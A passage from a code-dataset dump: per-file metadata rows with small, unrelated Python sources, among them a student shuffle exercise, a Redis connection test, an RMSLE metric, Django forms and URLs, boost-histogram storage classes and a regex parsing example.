] | null | null | null | Curso Python/PythonExercicios/ex020.py | marcos-saba/Cursos | 1c063392867e9ed86d141dad8861a2a35488b1c6 | [
"MIT"
] | null | null | null | Curso Python/PythonExercicios/ex020.py | marcos-saba/Cursos | 1c063392867e9ed86d141dad8861a2a35488b1c6 | [
"MIT"
] | null | null | null | import random
al1 = input('Digite o nome do(a) primeiro(a) aluno(a): ')
al2 = input('Digite o nome do (a) segundo(a) aluno(a): ')
al3 = input('Digite o nome do(a) terceiro(a) aluno(a): ')
al4 = input('Digite o nome do(a) quarto(a) aluno(a): ')
lista = [al1, al2, al3, al4]
random.shuffle(lista)
print(f'A ordem dos alunos para a apresentação será: \n{lista}.')
#from random import shuffle
| 24.6875 | 65 | 0.665823 | 70 | 395 | 3.757143 | 0.414286 | 0.1673 | 0.18251 | 0.243346 | 0.288973 | 0.288973 | 0 | 0 | 0 | 0 | 0 | 0.024242 | 0.164557 | 395 | 15 | 66 | 26.333333 | 0.772727 | 0.065823 | 0 | 0 | 0 | 0 | 0.610497 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.125 | 0 | 0.125 | 0.125 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
b675c834f4af3a0b82b1bf6826fca2734b7ad156 | 652 | py | Python | app/test.py | erics1996/D5-Video | cb07e211c821e805296f24d28c80ac6fb99bfd5d | [
"Apache-2.0"
] | 1 | 2020-09-26T14:03:48.000Z | 2020-09-26T14:03:48.000Z | app/test.py | erics1996/d5_video | cb07e211c821e805296f24d28c80ac6fb99bfd5d | [
"Apache-2.0"
] | null | null | null | app/test.py | erics1996/d5_video | cb07e211c821e805296f24d28c80ac6fb99bfd5d | [
"Apache-2.0"
] | null | null | null | import redis
# 测试连接redis
"""
if __name__ == '__main__':
conn = redis.Redis(host='127.0.0.1', port=6379)
if conn:
print('ok')
else:
print('error')
"""
# 测试session是否保存在redis中
"""
if __name__ == '__main__':
conn = redis.Redis(host='127.0.0.1', port=6379, password='foobared')
print(conn.keys())
"""
"""
[
b'session:eyJjc3JmX3Rva2VuIjoiNWNhMTdiYzJlOGFkZjc5NDZjODA0ODkzNzk4NTY2NzIxYjBkNWVmNiIsInVzZXIiOiJlcmljcyIsInVzZXJfaWQiOjF9.Xw2bFQ.tYod_F02MDofFCLR3aUs5BBEKQs',
b'session:eyJjc3JmX3Rva2VuIjoiNWNhMTdiYzJlOGFkZjc5NDZjODA0ODkzNzk4NTY2NzIxYjBkNWVmNiIsInVzZXJfaWQiOjF9.Xwt53A.ucQMG-hSprAb8YMhWep-lY2RqCE'
]
"""
| 27.166667 | 163 | 0.736196 | 55 | 652 | 8.418182 | 0.581818 | 0.025918 | 0.043197 | 0.060475 | 0.181425 | 0.181425 | 0.181425 | 0.181425 | 0.181425 | 0.181425 | 0 | 0.079225 | 0.128834 | 652 | 23 | 164 | 28.347826 | 0.735915 | 0.046012 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
b67fc419ca923c33d18cdee4e07420f2516e020f | 164 | py | Python | metric.py | Nozdi/kaggle-bike-share-demand | 715b61ff3560c65f1581bda7cc5baec9cf5e76dd | [
"MIT"
] | null | null | null | metric.py | Nozdi/kaggle-bike-share-demand | 715b61ff3560c65f1581bda7cc5baec9cf5e76dd | [
"MIT"
] | null | null | null | metric.py | Nozdi/kaggle-bike-share-demand | 715b61ff3560c65f1581bda7cc5baec9cf5e76dd | [
"MIT"
] | null | null | null | import numpy as np
def rmsle(y_pred, y_true):
assert len(y_pred) == len(y_true)
return np.sqrt(np.mean(np.power(np.log1p(y_pred) - np.log1p(y_true), 2)))
| 23.428571 | 77 | 0.676829 | 33 | 164 | 3.181818 | 0.515152 | 0.142857 | 0.152381 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.021739 | 0.158537 | 164 | 6 | 78 | 27.333333 | 0.73913 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.25 | 1 | 0.25 | false | 0 | 0.25 | 0 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
b68c8ddc9fcd55d3cc2b24d17d5af2efe3ae5c5d | 559 | py | Python | decaylanguage/__init__.py | ch2ohch2oh/decaylanguage | 7cb01e787ea9d193b87ae0978f2dfb4e469a1276 | [
"BSD-3-Clause"
] | null | null | null | decaylanguage/__init__.py | ch2ohch2oh/decaylanguage | 7cb01e787ea9d193b87ae0978f2dfb4e469a1276 | [
"BSD-3-Clause"
] | null | null | null | decaylanguage/__init__.py | ch2ohch2oh/decaylanguage | 7cb01e787ea9d193b87ae0978f2dfb4e469a1276 | [
"BSD-3-Clause"
] | null | null | null | # Copyright (c) 2018-2019, Eduardo Rodrigues and Henry Schreiner.
#
# Distributed under the 3-clause BSD license, see accompanying file LICENSE
# or https://github.com/scikit-hep/decaylanguage for details.
# Convenient access to the version number
from ._version import __version__
# Direct access to decay file parsing tools
from .dec import DecFileParser
# Direct access to decay chain visualization tools
from .decay import DecayChainViewer
# Direct access to decay chain representation classes
from .decay import DaughtersDict, DecayMode, DecayChain
| 31.055556 | 75 | 0.805009 | 74 | 559 | 6.013514 | 0.662162 | 0.07191 | 0.094382 | 0.12809 | 0.107865 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018789 | 0.143113 | 559 | 17 | 76 | 32.882353 | 0.91023 | 0.679785 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
b697b0465a2f226e6e6c630a304d08f2c89fe273 | 194 | py | Python | apps/verifications/urls.py | Jiafauser/News_blog | a3fec19c5e58c50c40268144e2f52820b24cc5d6 | [
"Unlicense"
] | null | null | null | apps/verifications/urls.py | Jiafauser/News_blog | a3fec19c5e58c50c40268144e2f52820b24cc5d6 | [
"Unlicense"
] | null | null | null | apps/verifications/urls.py | Jiafauser/News_blog | a3fec19c5e58c50c40268144e2f52820b24cc5d6 | [
"Unlicense"
] | null | null | null | from django.urls import path
from . import views
app_name = 'verifications'
urlpatterns = [
path('image_codes/<uuid:image_code_id>/', views.ImageCode.as_view(), name='image_codes'),
] | 27.714286 | 94 | 0.716495 | 26 | 194 | 5.115385 | 0.692308 | 0.150376 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.14433 | 194 | 7 | 95 | 27.714286 | 0.801205 | 0 | 0 | 0 | 0 | 0 | 0.301587 | 0.174603 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
b6ae292cc8493ab3e2e2c6eb93e74e867f7a5a45 | 109 | py | Python | Tupleusinghash.py | bjoffficial/Python | 73e6fdc19a1bec18488405c4a60c30ba68581ce5 | [
"Apache-2.0"
] | null | null | null | Tupleusinghash.py | bjoffficial/Python | 73e6fdc19a1bec18488405c4a60c30ba68581ce5 | [
"Apache-2.0"
] | null | null | null | Tupleusinghash.py | bjoffficial/Python | 73e6fdc19a1bec18488405c4a60c30ba68581ce5 | [
"Apache-2.0"
] | null | null | null | if __name__ == '__main__':
n = int(input())
qus=tuple(map(int,input().split()))
print(hash(qus))
| 21.8 | 39 | 0.577982 | 15 | 109 | 3.666667 | 0.8 | 0.290909 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.192661 | 109 | 4 | 40 | 27.25 | 0.625 | 0 | 0 | 0 | 0 | 0 | 0.073395 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.25 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
fcc9d5e6a05c79b1bf39adf1c4fcd4c98f9a6d85 | 95 | py | Python | scorecards/apps.py | moshthepitt/probsc | 9b8cab206bb1c41238e36bd77f5e0573df4d8e2d | [
"MIT"
] | null | null | null | scorecards/apps.py | moshthepitt/probsc | 9b8cab206bb1c41238e36bd77f5e0573df4d8e2d | [
"MIT"
] | null | null | null | scorecards/apps.py | moshthepitt/probsc | 9b8cab206bb1c41238e36bd77f5e0573df4d8e2d | [
"MIT"
] | null | null | null | from django.apps import AppConfig
class ScorecardsConfig(AppConfig):
name = 'scorecards'
| 15.833333 | 34 | 0.768421 | 10 | 95 | 7.3 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.157895 | 95 | 5 | 35 | 19 | 0.9125 | 0 | 0 | 0 | 0 | 0 | 0.105263 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
fcd7544768bb3229ec5e9ae800a2ea3ee4d1fbda | 603 | py | Python | asyncmy/sa/__init__.py | dnp1/asyncmy | ae8a09e4d7d64d6d5cb448b7d7154e715071d414 | [
"Apache-2.0"
] | 1 | 2021-10-22T01:35:21.000Z | 2021-10-22T01:35:21.000Z | asyncmy/sa/__init__.py | dnp1/asyncmy | ae8a09e4d7d64d6d5cb448b7d7154e715071d414 | [
"Apache-2.0"
] | null | null | null | asyncmy/sa/__init__.py | dnp1/asyncmy | ae8a09e4d7d64d6d5cb448b7d7154e715071d414 | [
"Apache-2.0"
] | null | null | null | """Optional support for sqlalchemy.sql dynamic query generation."""
from asyncmy.sa.connection import SAConnection
from .engine import create_engine, Engine
from .exc import (Error, ArgumentError, InvalidRequestError,
NoSuchColumnError, ResourceClosedError)
from . import result
__all__ = ('create_engine', 'SAConnection', 'Error',
'ArgumentError', 'InvalidRequestError', 'NoSuchColumnError',
'ResourceClosedError', 'Engine', 'result')
(SAConnection, Error, ArgumentError, InvalidRequestError,
NoSuchColumnError, ResourceClosedError, create_engine, Engine)
| 35.470588 | 71 | 0.749585 | 51 | 603 | 8.72549 | 0.470588 | 0.080899 | 0.249438 | 0.364045 | 0.546067 | 0.382022 | 0 | 0 | 0 | 0 | 0 | 0 | 0.154229 | 603 | 16 | 72 | 37.6875 | 0.872549 | 0.101161 | 0 | 0 | 0 | 0 | 0.205224 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
fcf9aa65396644ce8956039d18797ae05615fb61 | 19 | py | Python | fossa/__init__.py | tresni/fossa | 38a25d2c9091bbe28462a596fcfedd1179880358 | [
"MIT"
] | null | null | null | fossa/__init__.py | tresni/fossa | 38a25d2c9091bbe28462a596fcfedd1179880358 | [
"MIT"
] | null | null | null | fossa/__init__.py | tresni/fossa | 38a25d2c9091bbe28462a596fcfedd1179880358 | [
"MIT"
] | null | null | null | APP_NAME = "fossa"
| 9.5 | 18 | 0.684211 | 3 | 19 | 4 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.157895 | 19 | 1 | 19 | 19 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0.263158 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
fcfa435f98d43ada5cc2452165b6ea6be9181640 | 1,188 | py | Python | src/boost_histogram/_internal/storage.py | andrzejnovak/boost-histogram | cdbfabb1c22f5545bf3900be01f2025411e699f1 | [
"BSD-3-Clause"
] | 105 | 2019-03-08T14:59:37.000Z | 2022-03-11T12:46:17.000Z | src/boost_histogram/_internal/storage.py | andrzejnovak/boost-histogram | cdbfabb1c22f5545bf3900be01f2025411e699f1 | [
"BSD-3-Clause"
] | 400 | 2019-03-11T23:10:18.000Z | 2022-03-25T14:02:06.000Z | src/boost_histogram/_internal/storage.py | andrzejnovak/boost-histogram | cdbfabb1c22f5545bf3900be01f2025411e699f1 | [
"BSD-3-Clause"
] | 25 | 2019-03-11T18:02:31.000Z | 2022-03-10T20:14:22.000Z | import boost_histogram
from .._core import storage as store
from .utils import set_module
# Simple mixin to provide a common base class for types
class Storage:
_family: object
def __init_subclass__(cls, *, family: object) -> None:
super().__init_subclass__()
cls._family = family
def __repr__(self) -> str:
return f"{self.__class__.__name__}()"
@set_module("boost_histogram.storage")
class Int64(store.int64, Storage, family=boost_histogram):
pass
@set_module("boost_histogram.storage")
class Double(store.double, Storage, family=boost_histogram):
pass
@set_module("boost_histogram.storage")
class AtomicInt64(store.atomic_int64, Storage, family=boost_histogram):
pass
@set_module("boost_histogram.storage")
class Unlimited(store.unlimited, Storage, family=boost_histogram):
pass
@set_module("boost_histogram.storage")
class Weight(store.weight, Storage, family=boost_histogram):
pass
@set_module("boost_histogram.storage")
class Mean(store.mean, Storage, family=boost_histogram):
pass
@set_module("boost_histogram.storage")
class WeightedMean(store.weighted_mean, Storage, family=boost_histogram):
pass
| 22.846154 | 73 | 0.751684 | 150 | 1,188 | 5.62 | 0.3 | 0.24911 | 0.116251 | 0.190985 | 0.569395 | 0.569395 | 0.481613 | 0.481613 | 0.481613 | 0.481613 | 0 | 0.007851 | 0.142256 | 1,188 | 51 | 74 | 23.294118 | 0.819431 | 0.044613 | 0 | 0.451613 | 0 | 0 | 0.165931 | 0.165931 | 0 | 0 | 0 | 0 | 0 | 1 | 0.064516 | false | 0.225806 | 0.096774 | 0.032258 | 0.483871 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
1e04313b1a59f752d444d642a7310789f916860e | 6,410 | py | Python | CrudSimulation/forms.py | CodexLink/AdvancedCRUD-Django | aea8da56b1713735196f675a5c0acf2dde974616 | [
"MIT"
] | 1 | 2020-04-13T03:35:19.000Z | 2020-04-13T03:35:19.000Z | CrudSimulation/forms.py | CodexLink/AdvancedCRUD-Django | aea8da56b1713735196f675a5c0acf2dde974616 | [
"MIT"
] | 6 | 2020-04-12T17:59:08.000Z | 2021-09-22T18:52:24.000Z | CrudSimulation/forms.py | CodexLink/Django_Single_Page_CRUD | b37bc61bed2434a3e35ca7afe3b99e95a2289487 | [
"MIT"
] | 1 | 2020-05-03T14:00:32.000Z | 2020-05-03T14:00:32.000Z | from django import forms
from django.core.validators import MaxValueValidator, MinValueValidator
from .additionals.metaData import *
from .models import UserCredentials, UserTasks, UserDepartment
from django.contrib.auth.forms import AuthenticationForm
class AuthForm(AuthenticationForm, forms.ModelForm):
class Meta:
model = UserCredentials
fields = ['username', 'password']
username = forms.CharField(min_length=2, max_length=150, required=True, widget=forms.TextInput(attrs={'class': 'form-control', 'id': 'validationUsername', 'placeholder': 'Required'}))
password = forms.CharField(min_length=2, max_length=128, required=True, widget=forms.PasswordInput(attrs={'type': 'password', 'class': 'form-control', 'id': 'validationPassword', 'placeholder': 'Required'}))
class UserTaskAdditionForm(forms.ModelForm):
class Meta:
model = UserTasks
fields = '__all__'
exclude = ['Task_UUID', 'Task_CreateDate', 'Task_Owner']
Task_Name = forms.CharField(min_length=2, max_length=150, required=True, widget=forms.TextInput(attrs={'class': 'form-control', 'id': 'addDataTaskName', 'placeholder': 'Required'}))
Task_Description = forms.CharField(min_length=2, max_length=512, required=True, widget=forms.Textarea(attrs={'class': 'form-control', 'id':'addTaskDescription', 'placeholder': 'Required'}))
Task_Type = forms.ChoiceField(choices=TaskTypes, required=True, widget=forms.Select(attrs={'class': 'form-control', 'id':'addDataTaskType', 'placeholder': 'Required'}))
Task_StartTime = forms.DateTimeField(input_formats=['%Y-%m-%dT%H:%M'], required=True, widget=forms.DateTimeInput(attrs={'class': 'form-control', 'id':'addTaskStartTime', 'placeholder': 'Start DateTime', 'type': 'datetime-local', 'min': '2020/04/01T000:00', 'max': '2099/12/31T000:00' }))
Task_EndTime = forms.DateTimeField(input_formats=['%Y-%m-%dT%H:%M'], required=True, widget=forms.DateTimeInput(attrs={'class': 'form-control', 'id':'addTaskEndTime', 'placeholder': 'End DateTime', 'type': 'datetime-local', 'min': '2020/04/01T000:00', 'max': '2099/12/31T000:00' }))
class UserTaskUpdateForm(forms.ModelForm):
class Meta:
model = UserTasks
fields = '__all__'
exclude = ['Task_UUID', 'Task_CreateDate', 'Task_Owner']
Task_Name = forms.CharField(min_length=2, max_length=150, required=True, widget=forms.TextInput(attrs={'class': 'form-control', 'id': 'modifyDataTaskName', 'placeholder': 'Required'}))
Task_Description = forms.CharField(min_length=2, max_length=512, required=True, widget=forms.Textarea(attrs={'class': 'form-control', 'id': 'modifyTaskDescription', 'placeholder': 'Required'}))
Task_Type = forms.ChoiceField(choices=TaskTypes, required=True, widget=forms.Select(attrs={'class': 'form-control', 'id': 'modifyDataTaskType', 'placeholder': 'Required'}))
Task_StartTime = forms.DateTimeField(input_formats=['%Y-%m-%dT%H:%M'], required=True, widget=forms.DateTimeInput(attrs={'class': 'form-control', 'id':'modifyTaskStartTime', 'placeholder': 'Start DateTime', 'type': 'datetime-local', 'min': '2020/04/01T000:00', 'max': "2099/12/31T000:00" }))
Task_EndTime = forms.DateTimeField(input_formats=['%Y-%m-%dT%H:%M'], required=True, widget=forms.DateTimeInput(attrs={'class': 'form-control', 'id':'modifyTaskEndTime', 'placeholder': 'End DateTime', 'type': 'datetime-local', 'min': '2020/04/01T000:00', 'max': "2099/12/31T000:00" }))
def clean(self):
return super(UserTaskUpdateForm, self).clean()
class RegistrationForm(forms.ModelForm):
class Meta:
model = UserCredentials
fields = [
'first_name',
'middle_name',
'last_name',
'email',
'dept_residence',
'username',
'password',
'avatar'
]
username = forms.CharField(min_length=2, max_length=150, required=True, widget=forms.TextInput(attrs={'class': 'form-control', 'id': 'validationUsername', 'placeholder': 'Required'}))
password = forms.CharField(min_length=2, max_length=128, required=True, widget=forms.PasswordInput(attrs={'type': 'password', 'class': 'form-control', 'id': 'validationPassword', 'placeholder': 'Required'}))
confirm_password = forms.CharField(min_length=2, max_length=128, required=True, widget=forms.PasswordInput(attrs={'type': 'password', 'class': 'form-control', 'id': 'validationPassword', 'placeholder': 'Required'}))
first_name = forms.CharField(min_length=2, max_length=50, required=True, widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Required'}))
middle_name = forms.CharField(min_length=2, max_length=50, required=False, widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Optional'}))
last_name = forms.CharField(min_length=2, max_length=50, required=True, widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Required'}))
email = forms.CharField(max_length=50, required=True, widget=forms.TextInput(attrs={'class': 'form-control', 'type': 'email', 'placeholder': 'Required'}))
avatar = forms.ImageField(required=False, allow_empty_file=True, widget=forms.FileInput(attrs={'accept': 'image/jpg, image/jpeg, image/png', 'class':'form-control-file', 'type':'file'}))
dept_residence = forms.ModelChoiceField(queryset=UserDepartment.objects.all(), widget=forms.Select(attrs={'class': 'custom-select', 'id':'requireDeptResidence', 'placeholder': 'Required'}), to_field_name='Department_Name', empty_label="Nothing Selected...")
def clean(self, *args, **kwargs):
cleaned_data = super(RegistrationForm, self).clean()
password = cleaned_data.get("password")
confirm_password = cleaned_data.get("confirm_password")
objectDuplicateCheck = UserCredentials.objects.filter(
username=cleaned_data['username'],
first_name=cleaned_data['first_name'],
last_name=cleaned_data['last_name'],
email=cleaned_data['email']
).count()
if objectDuplicateCheck:
raise forms.ValidationError("Some of your credentials are conflicting with the existing accounts! Did you register before? Ask the developer please.")
if password != confirm_password:
raise forms.ValidationError("Your Password and Password Confirmation Field does not match!")
return cleaned_data | 75.411765 | 294 | 0.7 | 728 | 6,410 | 6.049451 | 0.223901 | 0.052452 | 0.072661 | 0.094005 | 0.64396 | 0.637829 | 0.637829 | 0.615577 | 0.603769 | 0.603769 | 0 | 0.027183 | 0.133385 | 6,410 | 85 | 295 | 75.411765 | 0.765617 | 0 | 0 | 0.228571 | 0 | 0.014286 | 0.29543 | 0.003276 | 0 | 0 | 0 | 0 | 0 | 1 | 0.028571 | false | 0.128571 | 0.071429 | 0.014286 | 0.542857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
1e1adf5c90b9d3bac8d132f53c4fd34036e51397 | 2,074 | py | Python | regex/ex05.py | stormabq/python-examples | 1c1acfc3863a2cf1a9e202c9299f3a526858eb34 | [
"MIT"
] | 1 | 2021-12-12T04:39:53.000Z | 2021-12-12T04:39:53.000Z | regex/ex05.py | stormabq/python-examples | 1c1acfc3863a2cf1a9e202c9299f3a526858eb34 | [
"MIT"
] | null | null | null | regex/ex05.py | stormabq/python-examples | 1c1acfc3863a2cf1a9e202c9299f3a526858eb34 | [
"MIT"
] | 6 | 2020-05-05T17:21:28.000Z | 2021-12-12T04:39:57.000Z | ## See the html directory in this repo
import re
def get_name_and_number(input):
m = re.match(r"(?P<x0>Organism) (?P<x1>.*) (?P<x2>has) (?P<x3>\d+)", input)
if m == None:
return None
r1 = m.group("x1")
r2 = m.group("x3")
mytuple = (r1, r2)
return mytuple
testary = [
"Organism Enterococcus sp. 8G7_MSG3316 has 2625 proteins with network connections.,overview.1834191.html",
"Organism Lachnoclostridium sp. YL32 has 4965 proteins with network connections.,overview.1834196.html",
"Organism Hungateiclostridiaceae bacterium KB18 has 2724 proteins with network connections.,overview.1834198.html",
"Organism Burkholderiales bacterium YL45 has 2039 proteins with network connections.,overview.1834205.html",
"Organism Erysipelotrichaceae bacterium I46 has 3171 proteins with network connections.,overview.1834207.html",
"Organism Frankia sp. BMG5.36 has 6664 proteins with network connections.,overview.1834512.html",
"Organism Frankia asymbiotica has 5603 proteins with network connections.,overview.1834516.html",
"Organism Fibrella sp. ES10-3-2-2 has 4013 proteins with network connections.,overview.1834519.html",
"Organism Saccharothrix sp. CB00851 has 6645 proteins with network connections.,overview.1835005.html",
"Organism Polynucleobacter duraquae has 1813 proteins with network connections.,overview.1835254.html",
"Organism Penicillium arizonense has 6768 proteins with network connections.,overview.1835702.html",
"Organism secondary endosymbiont of Trabutina mannipara has 231 proteins with network connections.,overview.11.html",
"Organism Arthrobacter sp. OY3WO11 has 3385 proteins with network connections.,overview.1835723.html",
"Organism Maribacter sp. T28 has 3118 proteins with network connections.,overview.1836467.html",
"Organism Phytoplasma sp. Vc33 has 369 proteins with network connections.,overview.1836886.html",
"Organism Shewanella colwelliana has 3467 proteins with network connections.",
]
for i in testary:
print(get_name_and_number(i))
| 56.054054 | 121 | 0.761813 | 268 | 2,074 | 5.869403 | 0.421642 | 0.12206 | 0.193261 | 0.305149 | 0.362365 | 0 | 0 | 0 | 0 | 0 | 0 | 0.11678 | 0.14947 | 2,074 | 36 | 122 | 57.611111 | 0.774943 | 0.016876 | 0 | 0 | 0 | 0.068966 | 0.806483 | 0.258841 | 0 | 0 | 0 | 0 | 0 | 1 | 0.034483 | false | 0 | 0.034483 | 0 | 0.137931 | 0.034483 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
1e1f6283140215b06df34b5565f0d75e854b79a7 | 943 | py | Python | Aula01/Exercicio03.py | gabriel-correia0408/Sala_Green_GabrielCorreia | 1d22f466d372786c5f8c8eaba7202844b5f03445 | [
"Apache-2.0"
] | null | null | null | Aula01/Exercicio03.py | gabriel-correia0408/Sala_Green_GabrielCorreia | 1d22f466d372786c5f8c8eaba7202844b5f03445 | [
"Apache-2.0"
] | null | null | null | Aula01/Exercicio03.py | gabriel-correia0408/Sala_Green_GabrielCorreia | 1d22f466d372786c5f8c8eaba7202844b5f03445 | [
"Apache-2.0"
] | null | null | null | # Classe Circulo: Crie uma classe que modele uma bola:
#
# Atributos: Cor, raio, material
# Métodos: trocaCor, mostraCor, area (math.pi*raio**2)
# para acessar o pi:
# import math
# math.pi
# Classe Quadrado: Crie uma classe que modele um quadrado:
#
# Atributos: Tamanho do lado
# Métodos: Mudar valor do Lado, Retornar valor do Lado e calcular Área;
# area = lateral*lateral
# Classe Retangulo: Crie uma classe que modele um retangulo:
#
# Atributos: LadoA, LadoB (ou Comprimento e Largura, ou Base e Altura, a escolher)
# Métodos: Mudar valor dos lados, Retornar valor dos lados, calcular Área;
# area comprimento*largura
# crite testes para validar cada uma destas classes!
class Circulo:
def __init__(self,cor,raio,material):
self.cor = cor
self.raio = raio
self.material = material
def set_Cor(self,cor):
pass
def get_Cor(self):
pass
def calculo_area(self):
pass
| 23.575 | 82 | 0.693531 | 134 | 943 | 4.828358 | 0.447761 | 0.032458 | 0.060278 | 0.074189 | 0.108192 | 0.074189 | 0 | 0 | 0 | 0 | 0 | 0.001364 | 0.222694 | 943 | 39 | 83 | 24.179487 | 0.88131 | 0.679745 | 0 | 0.272727 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025641 | 0 | 1 | 0.363636 | false | 0.272727 | 0 | 0 | 0.454545 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
1e366c09791897360353aaacf043f05a0076f0a2 | 680 | py | Python | bagpipe/exabgp/message/update/attribute/labels.py | taheri0/MPLS-over-GRE | 7d14b819d396b7779b02ea1150bcaf412cb6d36c | [
"Apache-2.0"
] | 94 | 2015-01-05T17:15:21.000Z | 2022-01-09T20:05:16.000Z | bagpipe/exabgp/message/update/attribute/labels.py | taheri0/MPLS-over-GRE | 7d14b819d396b7779b02ea1150bcaf412cb6d36c | [
"Apache-2.0"
] | 18 | 2015-03-16T16:16:55.000Z | 2017-03-27T11:22:38.000Z | bagpipe/exabgp/message/update/attribute/labels.py | taheri0/MPLS-over-GRE | 7d14b819d396b7779b02ea1150bcaf412cb6d36c | [
"Apache-2.0"
] | 36 | 2015-03-13T02:30:15.000Z | 2021-06-22T10:10:23.000Z | # encoding: utf-8
"""
labels.py
Created by Thomas Mangin on 2009-11-05.
Copyright (c) 2009-2012 Exa Networks. All rights reserved.
Modified by Orange - 2014
"""
from struct import pack
#from bagpipe.exabgp.message.update.attribute import AttributeID,Flag,Attribute
# =================================================================== Community
class Label (object):
def __init__ (self,label):
self.label = label
def pack (self):
return pack('!L',self.label)
def __str__ (self):
return "NOT DONE"
def __len__ (self):
return 4
def __cmp__(self,other):
if ( not isinstance(other,Label)
